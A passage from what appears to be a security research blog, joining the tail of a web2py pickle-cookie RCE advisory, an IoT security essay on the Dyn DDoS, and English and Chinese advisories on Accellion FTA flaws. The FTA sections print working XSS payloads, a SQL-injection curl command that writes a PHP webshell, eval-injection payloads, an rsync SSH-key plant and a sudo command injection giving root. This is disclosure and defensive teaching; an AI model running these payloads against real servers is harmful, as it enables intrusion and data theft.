                    self.update(data)
            response.session_id = True 

secure_loads 函式內容如下,在一連串解密後會用 pickle.loads 方法將解密內容反序列化,在這裡確定 cookie 內容會使用 Pickle 處理。[Ref]

gluon/utils.py#L200
def secure_loads(data, encryption_key, hash_key=None, compression_level=None):
    if ':' not in data:
        return None
    if not hash_key:
        hash_key = sha1(encryption_key).hexdigest()
    signature, encrypted_data = data.split(':', 1)
    actual_signature = hmac.new(hash_key, encrypted_data).hexdigest()
    if not compare(signature, actual_signature):
        return None
    key = pad(encryption_key[:32])
    encrypted_data = base64.urlsafe_b64decode(encrypted_data)
    IV, encrypted_data = encrypted_data[:16], encrypted_data[16:]
    cipher, _ = AES_new(key, IV=IV)
    try:
        data = cipher.decrypt(encrypted_data)
        data = data.rstrip(' ')
        if compression_level:
            data = zlib.decompress(data)
        return pickle.loads(data)  # <-- Bingo!!!
    except Exception, e:
        return None

因此,如果知道連線中用以加密 cookie 內容的 encryption_key,攻擊者就可以偽造 session cookie,進而利用 pickle.loads 進行遠端命令執行。

CVE-2016-3953

很幸運的,我們發現 web2py 預設開啟的範例應用程式是使用 session cookie,並且有一個寫死的密鑰:yoursecret。[Ref]

applications/examples/models/session.py
session.connect(request,response,cookie_key='yoursecret')

因此,web2py 的使用者如果沒有手動關閉範例應用程式,攻擊者就可以直接在 http://[target]/examples/ 頁面發動攻擊取得主機操作權。

Proof of Concept

我們嘗試用 yoursecret 作為 encryption_key 偽造一個合法的 session cookie,並將一個會執行系統指令 sleep 的物件塞入其中。帶著此 session cookie 連入 web2py 官網範例應用程式(http://www.web2py.com/examples),情形如下:

當插入的物件會執行指令 sleep 3 時,網站回應時間為 6.8 秒

POC1

當插入的物件會執行指令 sleep 5 時,網站回應時間為 10.8 秒

POC2

確實會因為塞入的 session cookie 值不同而有所延遲,證明網站的確執行了(兩次)我們偽造的物件內容。2

其他洩漏導致 RCE

此外,在 web2py 範例應用程式為了示範框架的特性,因此洩漏了許多環境變數。其中有兩個變數較為敏感,間接也會導致端命令執行,分別如下。

CVE-2016-3954

在 http://[target]/examples/simple_examples/status 頁面中,response 分頁內容洩漏了 session_cookie_key 值。這個值就是用來加密前面所介紹的 session cookie,搭配 CVE-2016-3957 Pickle 的問題可直接遠端命令執行。

CVE-2016-3954

無論使用者是否自行更改 session_cookie_key,或是該值是系統隨機產生。此介面仍然可以取得機敏資訊藉以造成危害。

CVE-2016-3952

http://[target]/examples/template_examples/beautify 頁面洩漏了系統環境變數,當使用者是使用 standalone 版本時,管理者的密碼就會在環境變數裡出現。這個密碼可登入 http://[target]/admin 管理介面,管理介面內提供方便的功能得以執行任意指令。

CVE-2016-3952

官方修復

Version 2.14.1 移除洩漏的環境變數。[Ref]

Version 2.14.2 使用不固定字串作為 session_cookie_key,並移除洩漏頁面。

applications/examples/models/session.py
from gluon.utils import web2py_uuid
cookie_key = cache.ram('cookie_key',lambda: web2py_uuid(),None)
session.connect(request,response,cookie_key=cookie_key)

總結

web2py 框架預設會開啟一個範例應用程式,路徑為 http://[target]/examples/。
由於這個應用程式使用 Pickle 來處理序列化的 session cookie,且因為加密字串為寫死的 yoursecret,任何人可竄改 session cookie 的內容,藉此進行 Pickle 命令執行攻擊。
該範例程式介面中也存在 session_cookie_key、管理者密碼洩漏問題,兩個都會導致任意命令執行。除此之外,在這個應用程式中洩漏許多系統配置、路徑等資訊,有機會被拿來做進階攻擊。
在 2.14.2 版本後已經修復所有洩漏問題,當然最好的解決辦法就是關閉這個範例應用程式。

最後,來整理從開發者的角度在這個案例中該注意的要點:

  1. 小心處理序列化字串,使用者若有機會改變該字串值,有機會被插入未預期的惡意物件,造成惡意的結果。
  2. 正式產品中切記要移除任何跟開發相關的配置。

時間軸

  • 2016/03/08 發現問題與其他研究
  • 2016/03/09 回報官方 GitHub Issue
  • 2016/03/15 成功與開發者 email 聯繫
  • 2016/03/15 官方修復管理者密碼洩漏問題 (CVE-2016-3952)
  • 2016/03/25 官方修復其他弱點並發佈 2.14.2 版本

附註

  1. 其實 CVE-2016-3957 並非不安全的設計,在跟 CVE team 溝通的過程中發現 web2py 開始使用 JSON 取代 Pickle [Ref],因此判定 web2py 認為目前的設計是不洽當的,給予此編號。後來官方因故將 Pickle 改了回來,不過在沒有洩漏加密字串的前提下已經是安全的了。 

  2. 在自行架設的 web2py 環境中只會執行一次,沒有去細追 web2py 官方網站為何執行兩次。 

IoT設備商別成為幫兇 從Dyn DDoS攻擊事件看IoT安全

25 December 2016 at 16:00

萬物皆聯網成為萬物皆可駭

2016年10月21日知名網路服務 Dyn 遭受殭屍網路發動三波巨大規模 DDoS 攻擊,世界各大網站服務皆因為此攻擊而中斷,包括 Amazon、Twitter、Github、PayPal 等大型網站都因此受到影響。資安人員研究發現,本次 DDoS 攻擊的發起者未明,但多數攻擊流量來自殭屍網路「Mirai」,利用 IPCAM、CCTV、DVR、IoT 裝置等系統進行 DDoS 攻擊。為什麼這些設備會成為攻擊的幫凶呢?我們又該如何自保呢?

一個攻擊事件,一定有背後的原因。攻擊者一定是有所求,才會進行攻擊,可能是求名、求利或求樂趣。因為 DDoS 攻擊會直接影響目標系統的運作,對系統營運造成影響,在黑色產業的循環中通常會利用這種攻擊來勒索錢財。例如針對營運線上遊戲的公司進行 DDoS 攻擊,讓遊戲服務中斷,逼迫企業將主機的連線花錢「贖」回來。但 Dyn 這次的事件各家都沒有收到類似的勒索信,因此資安專家們推測,這可能是一次練兵,或者甚至是 DDoS 攻擊服務的行銷手法。如果我們用黑色產業的角度去思考一個攻擊行為,就會有截然不同的看法。試想,如果這是一次駭客組織的商業行銷行為,目的是展現這個團隊的 DDoS 攻擊火力,這樣的成果是否可以稱作是一個成功案例呢?如果你是服務購買者,是否對這樣的服務有信心呢?

利用 IoT 裝置及網通設備佈建殭屍網路 (botnet) 已經不是新聞。Internet Census 2012 是一次資安圈的大事件,一個稱為 Carna 的 botnet 利用了全世界 42 萬台裝置,掃描全世界整個 IPv4 設備,蒐集 IP 使用狀況、連接埠、服務標頭等資訊,並且提供共計 9TB 資料開放下載研究。而這個 botnet 多數利用路由器 (router) 的漏洞,利用預設密碼、空密碼登入設備,植入後門供攻擊者控制。而後的幾次大型攻擊事件都與 IoT 及嵌入式裝置有關係,讓 IoT 的口號「萬物皆聯網」成為「萬物皆可駭」,也讓資安研究人員對於研究這類型設備趨之若鶩。近年智慧車輛不斷發展,國際間也不少智慧車輛被駭的事件。車輛被駭影響的就不單是資訊系統,更會波及人身安全甚至整個城市的交通,資安考量的影響也遠比以前嚴重。

連網裝置成為駭客下手的主要原因

究竟是怎樣的安全漏洞讓攻擊者這麼輕易利用呢?目前攻擊者及 botnet 多數利用的還是使用預設密碼、或甚至是沒有設定密碼的裝置。網站 Insecam 揭露了全世界數萬支未修改密碼的攝影機,再再顯示不少民眾或公司行號購買了監視器,卻沒有健全的資安意識,讓監視器暴露於全世界之中。更多攝影機、監視器等的資安議題可以參考我們的文章「網路攝影機、DVR、NVR 的資安議題 - 你知道我在看你嗎?」。除了預設密碼之外,設備中的後門也是一個大問題。不少路由器、無線基地台廠商被爆出系統中含有測試用的登入帳號,該帳號無法關閉、無法移除,且容易被攻擊者進行研究取得。除了等待廠商升級韌體來修補該問題之外,沒有其他解法,因此成為攻擊者大量取得控制權的方式之一。

IoT 裝置為什麼會成為攻擊者下手的目標呢?我們可以分成幾點來探討。

第一,嵌入式裝置以往的設計都是不連網,IoT 的風潮興起之後,各廠商也為了搶市場先機,加速推出產品,將原本的產品加上網路功能,甚至 App 控制功能。而求快的結果就是犧牲資安考量,加上廠商可能原本並非網路專長,也沒有足夠的資安人員檢視安全性,導致設計出來的產品資安漏洞層出不窮。產品的設計必須嚴守 Security by Design 的原則,在開發初期的每個環節都納入資安考量,並且遵守 Secure Coding 規範,避免在產品後期疊床架屋,造成要釐清資安問題的根源更難如登天。

第二,產品的更新機制問題。IoT 裝置的更新機制在早期並沒有謹慎考量,需要使用者自行下載韌體更新,甚至有些裝置必須回廠才能進行更新。不少使用者只要產品沒有出問題,並不會主動進行韌體更新,甚至覺得更新只會造成更多問題。在沒有便利更新機制的情況之下,設備的資安問題更難以被妥善處理。近期因為資安事件頻傳,FOTA (Firmware Over-The-Air) 機制才逐漸被重視,但其他資安問題也隨即而來。如何確保韌體的完整性?如何防止攻擊者下載韌體進行研究修改?這些都是廠商需要不斷去反覆思量的。

第三,敵暗我明,也是我們認為最重要的一點。我們認為資安就是攻擊者與防禦者的一場資訊不對稱戰爭,防禦者(廠商)通常只會憑藉著自己的知識跟想像進行防禦,但卻不知道攻擊者的思維跟手法。就像春秋時代公輸般,建造雲梯協助楚國攻擊宋國的城池。唯有了解攻擊者,化解這個不對稱的資訊,才能有效的進行防禦,如同墨子了解雲梯的攻擊方式,模擬各種對應防禦的手法,才成功讓楚王放棄攻擊。不僅是 IoT 廠商,所有企業都必須了解攻擊者的思維、手法,知曉這個黑色產業的運作,甚至針對攻擊的方式進行模擬演練,將每一個防禦的缺口補足,才可以正面迎戰攻擊者。

設備商避免成為幫凶,消費者也應自保

身為使用者,我們該如何確認自己的設備有沒有被感染呢?若被感染該怎麼有效清除呢?建議先搜尋網路上目前已公開有漏洞的廠牌及型號,若在問題清單之內,先將整台設備備份設定後,回復原廠初始設定,以確保攻擊者放置的惡意程式都被清除。接著更新廠商所釋出的新版韌體,並記得在更新安裝完畢後立即更換密碼以防二度被入侵。若廠商無釋出更新,可能是資安不被重視,也可能是廠商已經結束營運。如果還是選擇要使用這個設備,建議將設備轉放在內部網路,或者是在前面增加防禦設備,避免攻擊者入侵。

至於廠商該怎麼跟上資安的腳步呢?我們認為目前廠商最重要的就是資安意識。這已經是老生常談,以往網路產業逐漸重視資安,但跨入網路的其他資訊產業恐怕還沒意識到資安的嚴重性。凡舉傳統家電轉為智慧家電、車輛轉為智慧車輛、甚至基礎建設也逐漸資訊化的現在,若這些踏入網路的產業沒有相對應的資安意識,恐怕很難在初期就預防風險的發生。企業也必須盤點風險的所在,透過人工滲透測試模擬攻擊者的攻擊思維及路徑,如同軍事演習一般,將入侵的途徑一一封鎖。我們認為 IoT 等嵌入式裝置、智慧家電、甚至網通資安設備本身,未來都會是駭客組織攻擊的對象,利用更新的困難度跟管理者的疏於管理,建置一個個大規模殭屍大軍,成為未來戰爭的棋子。我們期許未來廠商建構產品時,都能優先納入資安考量,不成為黑色產業的幫凶,也讓國際認可台灣產品是資安至上的優良品質。

Advisory: Accellion File Transfer Appliance Vulnerability

21 September 2016 at 16:00

By Orange Tsai

English Version
中文版本


About Accellion FTA


Accellion File Transfer Appliance (FTA) is a secure file transfer service which enables users to share and sync files online with AES 128/256 encryption. The Enterprise version further incorporates SSL VPN services with integration of Single Sign-on mechanisms like AD, LDAP and Kerberos.

Vulnerability Details


In this research, the following vulnerabilities were discovered on the FTA version FTA_9_12_0 (13-Oct-2015 Release)

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

The above-mentioned vulnerabilities allow unauthenticated attackers to remotely attack FTA servers and gain highest privileges successfully. After the attackers fully controlled the servers, they will be able to retrieve the encrypted files and user data, etc.

After reporting to CERT/CC, these vulnerabilities were assigned 4 CVEs (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353).

Areas Affected


According to a public data reconnaissance, there are currently 1,217 FTA servers online around the world, most of which are located in the US, followed by Canada, Australia, UK, and Singapore.
Determine from the domain name and SSL Certificate of these servers, FTA is widely used by governmental bodies, educational institutions, enterprises, including several well-known brands.

Vulnerability Analysis and Exploitation


Multiple Cross-Site Scripting (CVE-2016-2350)

1. XSS in move_partition_frame.html

https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//

2. XSS in getimageajax.php

https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//

3. XSS in wmInfo.html

https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)


Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)

After code reviewing, a pre-authentication SQL Injection vulnerability was found in FTA. This vulnerability grants malicious users access to sensitive data and personal information on the server through SQL Injection, and launch remote code execution (RCE) by further exploiting privilege-escalating vulnerabilities.
The key to this problem lies in the client_properties( ... ) function called by security_key2.api!

/home/seos/courier/security_key2.api
// ...
$password = _decrypt( $password, _generate_key( $g_app_id, $client_id, $g_username ) );
opendb();
$client_info = client_properties( $client_id )[0];
// ...

Among these parameters, $g_app_id $g_username $client_id and $password are controllable by the attackers. And although the function _decrypt( ... ) handles the passwords, it does not involve in the triggering of the vulnerability.
One thing to pay special attention is that the value of $g_app_id will be treated as a global variable which represents the current Application ID in use, and will be applied in opendb( ) accordingly. The code in opendb( ) includes the following lines:

$db = DB_MASTER . $g_app_id;
if(!@mysql_select_db( $db ))

In mysql_select_db, the name of the database to be opened is controllable by the user. If wrong value was given, the program will be interrupted. Therefore, $g_app_id must be forged correctly.

The following lines are the most important function client_properties( $client_id ).

function client_properties($client_id = '', $user = '', $manager = '', $client_type = 0, $client_name = '', $order_by = 'client_id', $order_type = 'a', $limit = '', $offset = '', $exclude_del = 1, $user_type = '', $user_status = '') {
    $sql = ($user_type  = '' ? 'SELECT t_mail_server.* FROM t_mail_server ' : 'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');
    $filter['client_id'] = $client_id;
    $filter['client_name'] = $client_name;
    $filter['client_type'] = $client_type;
    $filter['user'] = mysql_escape_like( $user );
    $filter['user_type'] = $user_type;
    $filter['manager'] = $manager;
    $filter['user_status'] = $user_status;
    $sql &= construct_where_clause( $filter, $exclude_del );

    // ...

    $result = array(  );
    @mysql_query( $sql );
    ( $db_result =  || fatal_error( 'exec:mysql_query(' . $sql . ') respond:' . mysql_error(  ), __FILE__, 221 ) );
function construct_where_clause($filter, $exclude_del = 1) {
    $where_clause = array(  );
    $where_clause[] = 'c_server_id  != \'999\'';

    if ($exclude_del) {
        $where_clause[] = '!(t_mail_server.c_flag & ' . CLIENT_DELETED . ')';
    }
    if ($filter['client_id'] != '') {
        $where_clause[] = 'c_server_id = \'' . $filter['client_id'] . '\'';
    }
    if ($filter['manager'] != '') {
        $filter['manager'] = mysql_real_escape_string( $filter['manager'] );
        $where_clause[] = 'c_manager = \'' . $filter['manager'] . '\'';
    }
    if ($filter['client_name'] != '') {
        $filter['client_name'] = mysql_real_escape_string( $filter['client_name'] );
        $where_clause[] = 't_mail_server.c_name LIKE \'%' . $filter['client_name'] . '%\'';
    }
    if (( $filter['user'] != '' && $filter['user'] != '%%' )) {
        $filter['user'] = mysql_real_escape_string( $filter['user'] );
        $where_clause[] = 't_mail_server.c_user_id LIKE \'' . $filter['user'] . '\'';
    }

The parameters passed onto the function client_properties( ... ) will be assembled into SQL statements. Among all the functions joining the assembling, construct_where_clause( ... ) is the most crucial one.
In the function construct_where_clause( ... ), every parameter is protected by the string mysql_real_escape_string except for $client_id. Judging from the coding style of the source code, it might be a result of oversight. Therefore, SQL Injection can be triggered by sending out corresponding parameters according to the program flow.

In addition, FTA database user has root privileges with FILE_PRIV option enabled. By exploiting INTO OUTFILE and writing their own PHP code to write-enabled directory, user will be able to execute code remotely!

PoC

$ curl https://<fta>/courier/1000@/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"

The created PHP file will be located at

http://<fta>/courier/themes/templates/.cc.php


Known-Secret-Key leads to Remote Code Execution

In the previous vulnerability, one requirement to execute code remotely is the existence of a write-enabled directory for injecting webshell. But in reality, chances are there is no write-enabled directory available, thus fail to execute code through SQL Injection. But there is another way to help us accomplish RCE.

The precondition of this vulnerability is Known-Secret-Key stored in the database

This is not a problem, since the database can be accessed with the SQL Injection vulnerability mentioned earlier. Also, although there are some parameter filters in the code, they can be bypassed!

/home/seos/courier/sfUtils.api
$func_call = decrypt( $_POST['fc'] );
$orig_func = '';
if (preg_match( '/(.+)\(.*\)/', $func_call, $func_match )) {
    $orig_func = $func_call;
    $func_call = $func_match[1];
}
$cs_method = array( 'delete_session_cache', 'delete_user_contact', 'valid_password', 'user_password_update_disallowed', 'user_password_format_disallowed', 'get_user_contact_list', 'user_email_verified', 'user_exist_allow_direct_download', 'user_profile_auth' );
if (( !$func_call || !in_array( $func_call, $cs_method ) )) {
    return false;
}
if ($orig_func) {
    $func_call = $orig_func;
}
if ($func_call  == 'get_user_contact_list') {
    if (!$_csinfo['user_id']) {
        return false;
    }
    if (preg_match( '/[\\\/"\*\:\?\<\>\|&]/', $_POST['name'] )) {
        return false;
    }
    $func_call = 'echo(count(' . $func_call . '("' . $_csinfo['user_id'] . '", array("nickname"=>"' . addslashes( $_POST['name'] ) . '"))));';
} else {
    if (isset( $_POST['p1'] )) {
        $func_param = array(  );
        $p_no = 7;

        while (isset( $_POST['p' . $p_no] )) {
            $func_param[] = str_replace( '\'', '\\\'', str_replace( '$', '\\$', addslashes( $_POST['p' . $p_no] ) ) );
            ++$p_no;
        }
        $func_call = 'echo(' . $func_call . '("' . join( '", "', $func_param ) . '"));';
    }
}
echo @eval( $func_call );

If Known-Secret-Key has been acquired, the output of decrypt( $_POST[fc] ) will be controllable. And despite that the succeeding regular expressions work as a function name whitelist filter, they do not filter parameters.
Therefore, the only restriction for injecting random codes in the parameters is to exclude ( ) in the strings. But thanks to the flexible characteristic of PHP, there are lots of ways to manipulate, just to name two examples here.


Execute system commands directly by using backticks (`)

user_profile_auth(`$_POST[cmd]`);

A more elegant way: use the syntax INCLUDE to include the tmp_name of the uploaded files, so that any protection will give way.

user_profile_auth(include $_FILES[file][tmp_name]);


Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)

After gaining PHP page privileges, we discovered that the privileges were assigned to user nobody. In order to engage in advanced recon, the web environment had been observed. After the observation, two possible privilege escalation vulnerabilities were identified.

1. Incorrect Rsync Configuration
/etc/opt/rsyncd.conf
log file = /home/soggycat/log/kennel.log
...
[soggycat]
path = /home/soggycat
uid = soggycat
read only = false
list = false
...

The module name soggycat is readable and writable to anyone for the directory /home/soggycat/, therefore the SSH Key can be written into /home/soggycat/.ssh/ and then use the soggycat credential to login.

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ rsync 0::soggycat/.ssh/
drwx------        4096 2016/01/29 18:13:41 .
-rw-r--r--         606 2016/01/29 18:13:41 authorized_keys

bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/

bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no soggycat@localhost id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0' (RSA) to the list of known hosts.
uid=520(soggycat) gid=99(nobody) groups=99(nobody)


2. Command Injection in “yum-client.pl”

To enable system updates through web UI, the sudoers configuration in FTA exceptionally allows the user nobody to directly execute commands with root privileges and update software with the program yum-client.pl.

/etc/sudoers
...
Cmnd_Alias      YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias      YUM_CLIENT = /usr/local/bin/yum-client.pl
...
# User privilege specification
root     ALL=(ALL) ALL
admin    ALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobody   ALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycat ALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radmin   ALL =NOPASSWD: RESET_APPL
...


YUM_CLIENT is the command for proceeding updates. Part of the codes are as follows:

/usr/local/bin/yum-client.pl
...
GetOptions (
   'help' => \$help,
   'download_only' => \$download_only,
   'list' => \$list,
   'cache' => \$cache,
   'clearcache' => \$clearcache,
   'cdrom=s' => \$cdrom,
   'appid=s' => \$appid,
   'servername=s' => \$servername,
   'version=s' => \$version,
   'token=s' => \$token);

my $YUM_CMD = "/usr/bin/yum";
if ($cache){
  $YUM_CMD = "$YUM_CMD -C";
}

# if this is based on RHEL 5, change the repository
my $OS = `grep -q 5 /etc/redhat-release && echo -n 5`;
my $LOGFILE = "/home/seos/log/yum-client.log";
my $STATUSFILE = "/home/seos/log/yum-client.status";
my $YUMCONFIG = "/etc/yum.conf";
my $YUMDIFF_FILE = '/home/seos/log/yum.diff';

if ($cdrom){
  if ($OS eq "5"){
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf-5";
  }else{
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf";
  }
  system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path") == 0 or fdielog($LOGFILE,"unable to mount: $!");
}

After taking a closer look on ymm-client.pl, a Command Injection vulnerability was found on the parameter --cdrom. This vulnerability enables attackers to inject any commands into the parameter and execute as root.

Thus, using the commands below

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'

mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.

bash-3.2$ cat /tmp/.gg
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

will grant execution freely as root!

Backdoor


After gaining the highest privilege and carrying out server recon, we identified that several backdoors had been already planted in FTA hosts. One of them is an IRC Botnet which had been mentioned in Niara’s Accellion File Transfer Appliance Vulnerability.
Apart from that, two additional PHP Webshells of different types which had NEVER been noted in public reports were also identified. Through reviewing Apache Log, these backdoors might be placed by exploiting the CVE-2015-2857 vulnerability discovered in mid-2015.

One of the backdoors is PHPSPY, it is found on 62 of the online hosts globally. It was placed in

https://<fta>/courier/themes/templates/Redirector_Cache.php

The other is WSO, found on 9 of the online hosts globally, placed in

https://<fta>/courier/themes/templates/imag.php


Acknowledgement


The vulnerability mentioned in this Advisory was identified in early 2016 while looking for vulnerabilities in Facebook, you can refer to the article “How I Hacked Facebook, and Found Someone’s Backdoor Script”.
Upon discovering the FTA vulnerability in early February, I notified Facebook and Accellion and both were very responsive. Accellion responded immediately, issuing patch FTA_9_12_40 on February 12th and notifying all affected customers about the vulnerability and instructions to install the patch. Accellion has been very communicative and cooperative throughout this process.

Timeline

  • Feb 6, 2016 05:21 Contact Accellion for vulnerability report
  • Feb 7, 2016 12:35 Send the report to Accellion Support Team
  • Mar 3, 2016 03:03 Accellion Support Team notifies patch will be made in FTA_9_12_40
  • May 10, 2016 15:18 Request Advisory submission approval and report the new discovery of two backdoors to Accellion
  • Jun 6, 2016 10:20 Advisory finalized by mutual consent

References

Accellion File Transfer Appliance 弱點報告

21 September 2016 at 16:00

By Orange Tsai

English Version
中文版本


Accellion FTA 介紹


Accellion File Transfer Appliance (以下簡稱 FTA) 為一款安全檔案傳輸服務,可讓使用者線上分享、同步檔案,且所有檔案皆經 AES 128/256 加密,Enterprise 版本更支援 SSL VPN 服務並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制。

漏洞描述


在研究過程中,於 FTA 版本 FTA_9_12_0 (13-Oct-2015 Release) 上,發現了下列弱點:

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

以上弱點可使不需經過認證的攻擊者,成功遠端攻擊 FTA 伺服器並取得最高權限,當攻擊者完全控制伺服器後,可取得伺服器上的加密檔案與用戶資料等。

弱點經回報 CERT/CC 後取得共四個獨立 CVE 編號 (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353)。

影響範圍


根據公開資料掃描,全球共發現 1217 台 FTA 存活主機,主要分布地點為美國,其次加拿大、澳洲、英國與新加坡。根據存活主機的域名、SSL Certificate 發現 FTA 使用客戶遍及政府、教育、企業等領域,其中不乏一些知名品牌。

漏洞分析與利用


Multiple Cross-Site Scripting (CVE-2016-2350)

1. XSS in move_partition_frame.html

https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//

2. XSS in getimageajax.php

https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//

3. XSS in wmInfo.html

https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)


Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)

經過代碼審查後,在 FTA 中發現一個不須驗證的 SQL Injection,這使得惡意使用者可透過 SQL Injection 存取伺服器的敏感檔案及個人資料,並配合權限設定問題導致遠端代碼執行。問題出在 security_key2.api 中所呼叫到的 client_properties( ... ) 函數中!

/home/seos/courier/security_key2.api
// ...
$password = _decrypt( $password, _generate_key( $g_app_id, $client_id, $g_username ) );
opendb();
$client_info = client_properties( $client_id )[0];
// ...

其中 $g_app_id $g_username $client_id $password 皆為攻擊者可控參數,雖然有個 _decrypt( ... ) 函數對密碼進行處理,但是與弱點觸發並無相關。其中要注意是 $g_app_id 的值會被代入成全域變數,代表當前使用的 Application ID,並且在 opendb( ) 使用,其中在 opendb( ) 內有以下代碼:

$db = DB_MASTER . $g_app_id;
if(!@mysql_select_db( $db ))

mysql_select_db 中所開啟資料庫的名稱由使用者可控,如給錯誤的值將導致程式無法繼續執行下去,所以必須將 $g_app_id 偽造成正確的內容。

接著是最主要的函數 client_properties( $client_id )

function client_properties($client_id = '', $user = '', $manager = '', $client_type = 0, $client_name = '', $order_by = 'client_id', $order_type = 'a', $limit = '', $offset = '', $exclude_del = 1, $user_type = '', $user_status = '') {
    $sql = ($user_type  = '' ? 'SELECT t_mail_server.* FROM t_mail_server ' : 'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');
    $filter['client_id'] = $client_id;
    $filter['client_name'] = $client_name;
    $filter['client_type'] = $client_type;
    $filter['user'] = mysql_escape_like( $user );
    $filter['user_type'] = $user_type;
    $filter['manager'] = $manager;
    $filter['user_status'] = $user_status;
    $sql &= construct_where_clause( $filter, $exclude_del );

    // ...

    $result = array(  );
    @mysql_query( $sql );
    ( $db_result =  || fatal_error( 'exec:mysql_query(' . $sql . ') respond:' . mysql_error(  ), __FILE__, 221 ) );
function construct_where_clause($filter, $exclude_del = 1) {
    $where_clause = array(  );
    $where_clause[] = 'c_server_id  != \'999\'';

    if ($exclude_del) {
        $where_clause[] = '!(t_mail_server.c_flag & ' . CLIENT_DELETED . ')';
    }
    if ($filter['client_id'] != '') {
        $where_clause[] = 'c_server_id = \'' . $filter['client_id'] . '\'';
    }
    if ($filter['manager'] != '') {
        $filter['manager'] = mysql_real_escape_string( $filter['manager'] );
        $where_clause[] = 'c_manager = \'' . $filter['manager'] . '\'';
    }
    if ($filter['client_name'] != '') {
        $filter['client_name'] = mysql_real_escape_string( $filter['client_name'] );
        $where_clause[] = 't_mail_server.c_name LIKE \'%' . $filter['client_name'] . '%\'';
    }
    if (( $filter['user'] != '' && $filter['user'] != '%%' )) {
        $filter['user'] = mysql_real_escape_string( $filter['user'] );
        $where_clause[] = 't_mail_server.c_user_id LIKE \'' . $filter['user'] . '\'';
    }

client_properties( ... ) 中會將所傳進的參數進行 SQL 語句的拼裝,而 construct_where_clause( ... ) 為最關鍵的一個函數。 在 construct_where_clause( ... ) 中可以看到參數皆使用 mysql_real_escape_string 來防禦但唯獨缺少 $client_id,從原始碼的 Coding Style 觀察猜測應該是開發時的疏忽,因此根據程式流程送出對應的參數即可觸發 SQL Injection。

此外,在 FTA 中資料庫使用者為 root 具有 FILE_PRIV 權限,因此可使用 INTO OUTFILE 撰寫自己 PHP 代碼至可寫目錄達成遠端代碼執行!

PoC

$ curl https://<fta>/courier/1000@/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"

生成的 PHP 檔案位置在

http://<fta>/courier/themes/templates/.cc.php


Known Secret-Key leads to Remote Code Execution

在前個弱點中,要達成遠端代碼執行還有一個條件是要存在可寫目錄,但現實中有機率找不到可寫的目錄放置 Webshell,因此無法從 SQL Injection 達成代碼執行,不過這時有另外一條路可以幫助我們達成遠端代碼執行。

這個弱點的前提條件是 已知資料庫中所存的加密 KEY

這點對我們來說不是問題,從前面的 SQL Injection 弱點可任意讀取資料庫內容,另外雖然在程式碼中有對參數進行一些過濾,但那些過濾是可以繞過的!

/home/seos/courier/sfUtils.api
$func_call = decrypt( $_POST['fc'] );
$orig_func = '';
if (preg_match( '/(.+)\(.*\)/', $func_call, $func_match )) {
    $orig_func = $func_call;
    $func_call = $func_match[1];
}
$cs_method = array( 'delete_session_cache', 'delete_user_contact', 'valid_password', 'user_password_update_disallowed', 'user_password_format_disallowed', 'get_user_contact_list', 'user_email_verified', 'user_exist_allow_direct_download', 'user_profile_auth' );
if (( !$func_call || !in_array( $func_call, $cs_method ) )) {
    return false;
}
if ($orig_func) {
    $func_call = $orig_func;
}
if ($func_call  == 'get_user_contact_list') {
    if (!$_csinfo['user_id']) {
        return false;
    }
    if (preg_match( '/[\\\/"\*\:\?\<\>\|&]/', $_POST['name'] )) {
        return false;
    }
    $func_call = 'echo(count(' . $func_call . '("' . $_csinfo['user_id'] . '", array("nickname"=>"' . addslashes( $_POST['name'] ) . '"))));';
} else {
    if (isset( $_POST['p1'] )) {
        $func_param = array(  );
        $p_no = 7;

        while (isset( $_POST['p' . $p_no] )) {
